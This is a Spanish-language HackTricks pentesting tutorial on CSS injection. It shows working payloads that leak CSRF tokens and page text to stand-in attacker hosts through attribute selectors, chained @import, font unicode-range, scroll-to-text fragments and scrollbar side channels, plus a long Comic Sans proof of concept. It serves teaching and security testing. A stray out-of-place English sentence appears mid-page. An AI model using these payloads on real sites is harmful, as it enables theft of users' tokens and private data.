.. | ||
css-injection-code.md | ||
README.md |
Inyección de CSS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Inyección de CSS
Selector de atributos
La técnica principal para exfiltrar información a través de la Inyección de CSS es intentar coincidir un texto con CSS y en caso de que el texto exista, cargar algún recurso externo, como:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Sin embargo, tenga en cuenta que esta técnica no funcionará si, en el ejemplo, el input del nombre csrf es de tipo oculto (y generalmente lo son), porque el fondo no se cargará.
No obstante, puede sortear este impedimento haciendo que, en lugar de hacer que el elemento oculto cargue un fondo, cualquier cosa después de él cargue el fondo:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Aquí hay un ejemplo de código para explotar esto: https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
Prerrequisitos
- La inyección de CSS debe permitir cargas útiles lo suficientemente largas.
- Capacidad para enmarcar la página para desencadenar la reevaluación de CSS de las cargas útiles recién generadas.
- Capacidad para usar imágenes alojadas externamente (podría ser bloqueado por CSP).
@import
La técnica anterior tiene algunas desventajas, comprueba los prerrequisitos. Necesitas ser capaz de enviar varios enlaces a la víctima, o necesitas ser capaz de enmarcar la página vulnerable a la inyección de CSS.
Sin embargo, hay otra técnica inteligente que utiliza CSS @import
para mejorar la calidad de la técnica.
Esto fue mostrado por primera vez por Pepe Vila y funciona así:
En lugar de cargar la misma página una y otra vez con decenas de cargas útiles diferentes cada vez (como en la técnica anterior), vamos a cargar la página solo una vez y solo con una importación al servidor del atacante (esta es la carga útil que se envía a la víctima):
@import url('//attacker.com:5001/start?');
- La importación va a recibir un script CSS de los atacantes y el navegador lo cargará.
- La primera parte del script CSS que enviará el atacante es otro
@import
al servidor de los atacantes de nuevo.- El servidor de los atacantes no responderá a esta solicitud todavía, ya que queremos filtrar algunos caracteres y luego responder a esta importación con el payload para filtrar los siguientes.
- La segunda y más grande parte del payload va a ser un payload de filtración de selector de atributos.
- Esto enviará al servidor de los atacantes el primer carácter del secreto y el último.
- Una vez que el servidor de los atacantes ha recibido el primer y último carácter del secreto, responderá a la importación solicitada en el paso 2.
- La respuesta va a ser exactamente la misma que en los pasos 2, 3 y 4, pero esta vez intentará encontrar el segundo carácter del secreto y luego el penúltimo.
El atacante seguirá ese bucle hasta que logre filtrar completamente el secreto.
Puede encontrar el código de Pepe Vila para explotar esto aquí o puede encontrar casi el mismo código pero comentado aquí.
{% hint style="info" %} El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributos permite hacer cosas como:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Esto permite que el script filtre la clave secreta más rápido.
{% hint style="warning" %}
A veces el script no detecta correctamente que el prefijo + sufijo descubierto ya es la bandera completa y continuará hacia adelante (en el prefijo) y hacia atrás (en el sufijo) y en algún momento se detendrá.
No te preocupes, solo revisa la salida porque puedes ver la bandera allí.
{% endhint %}
Otros selectores
Otras formas de acceder a partes del DOM con selectores CSS:
-
.clase-a-buscar:nth-child(2)
: Esto buscará el segundo elemento con la clase "clase-a-buscar" en el DOM. -
Selector
:empty
: Utilizado por ejemplo en este writeup:[role^="img"][aria-label="1"]:empty { background-image: url("TU_URL_DEL_SERVIDOR?1"); }
XS-Search basado en errores
Referencia: Ataque basado en CSS: Abusando de unicode-range de @font-face, PoC de XS-Search basado en errores por @terjanq
Básicamente, la idea principal es usar una fuente personalizada desde un punto final controlado por nosotros en un texto que se mostrará solo si no se puede cargar el recurso.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
Estilizando Fragmentos de Scroll-to-Text
Cuando un fragmento de URL apunta a un elemento, se puede utilizar la pseudo-clase :target
para seleccionarlo, pero ::target-text
no coincide con nada. Solo coincide con el texto que es apuntado por el [fragmento].
Por lo tanto, un atacante podría utilizar el fragmento Scroll-to-text y si se encuentra algo con ese texto, podemos cargar un recurso desde el servidor del atacante para indicarlo:
:target::before { content : url(target.png) }
Un ejemplo de este ataque podría ser:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
The file /hive/hacktricks/pentesting-web/xs-search/css-injection/README.md
is sending the code.
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
con el fragmento de desplazamiento de texto: #:~:text=Administrador
Si se encuentra la palabra Administrador, se cargará el recurso indicado.
Existen tres mitigaciones principales:
- STTF solo puede coincidir con palabras o frases en una página web, lo que teóricamente hace imposible filtrar secretos o tokens aleatorios (a menos que descompongamos el secreto en párrafos de una letra).
- Está restringido a contextos de navegación de nivel superior, por lo que no funcionará en un iframe, lo que hace que el ataque sea visible para la víctima.
- Se necesita un gesto de activación de usuario para que STTF funcione, por lo que solo las navegaciones que son resultado de acciones del usuario son explotables, lo que disminuye en gran medida la posibilidad de automatizar el ataque sin interacción del usuario. Sin embargo, existen ciertas condiciones que el autor de la publicación del blog anterior descubrió que facilitan la automatización del ataque. Otro caso similar se presentará en PoC#3.
- Existen algunos bypass para esto, como la ingeniería social, o forzar a las extensiones de navegador comunes a interactuar.
Para obtener más información, consulte el informe original: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
@font-face / unicode-range
Puede especificar fuentes externas para valores Unicode específicos que solo se recopilarán si esos valores Unicode están presentes en la página. Por ejemplo:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Al acceder a esta página, Chrome y Firefox recuperan "?A" y "?B" porque el nodo de texto de información sensible contiene los caracteres "A" y "B". Pero Chrome y Firefox no recuperan "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
Exfiltración de nodo de texto (I): ligaduras
Referencia: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Podemos extraer el texto contenido en un nodo con una técnica que combina ligaduras de fuente y la detección de cambios de ancho. La idea principal detrás de esta técnica es la creación de fuentes que contienen una ligadura predefinida con alto tamaño y el uso de cambios de tamaño como oráculo.
Las fuentes se pueden crear como fuentes SVG y luego convertirlas a woff con fontforge. En SVG podemos definir el ancho de un glifo a través del atributo horiz-adv-x, por lo que podemos construir algo como <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, siendo XY una secuencia de dos caracteres. Si la secuencia existe, se renderizará y el tamaño del texto cambiará. Pero... ¿cómo podemos detectar estos cambios?
Cuando el atributo white-space se define como nowrap, se obliga al texto a no romperse cuando excede el ancho del padre. En esta situación, aparecerá una barra de desplazamiento horizontal. Y podemos definir el estilo de esa barra de desplazamiento, ¡así que podemos filtrar cuando esto suceda :)!
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
En este punto el ataque es claro:
- Crear fuentes para la combinación de dos caracteres con gran ancho
- Detectar la filtración a través del truco de la barra de desplazamiento
- Usando la primera ligadura filtrada como base, crear nuevas combinaciones de 3 caracteres (agregando caracteres antes / después)
- Detectar la ligadura de 3 caracteres.
- Repetir hasta filtrar todo el texto
Todavía necesitamos un método mejorado para comenzar la iteración porque <meta refresh=...
es subóptimo. Podría usar el truco de importación de CSS para optimizar el exploit.
Exfiltración de nodo de texto (II): filtrando el conjunto de caracteres con una fuente predeterminada
Referencia: PoC usando Comic Sans por @Cgvwzq & @Terjanq
Este truco fue lanzado en este hilo de Slackers. El conjunto de caracteres utilizado en un nodo de texto puede ser filtrado usando las fuentes predeterminadas instaladas en el navegador: no se necesitan fuentes externas o personalizadas.
La clave es usar una animación para aumentar el ancho del div desde 0 hasta el final del texto, el tamaño de un carácter cada vez. Al hacer esto, podemos "dividir" el texto en dos partes: un "prefijo" (la primera línea) y un "sufijo", por lo que cada vez que el div aumenta su ancho, un nuevo carácter se mueve del "sufijo" al "prefijo". Algo como:
C
ADB
CA
DB
CAD
B
CADB
Cuando un nuevo carácter va a la primera línea, se utiliza el truco de rango unicode para detectar el nuevo carácter en el prefijo. Esta detección se realiza cambiando la fuente a Comic Sans, cuya altura es superior, por lo que se activa una barra de desplazamiento vertical (filtrando el valor del carácter). De esta manera, podemos filtrar cada carácter diferente una vez. Podemos detectar si un carácter se repite pero no qué carácter se repite.
{% hint style="info" %}
Básicamente, se utiliza el rango unicode para detectar un carácter, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.
Cuando se encuentra el carácter, se le da la fuente Comic Sans preinstalada, lo que hace que el carácter sea más grande y activa una barra de desplazamiento que filtrará el carácter encontrado.
{% endhint %}
Verifique el código extraído del PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Referencias
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.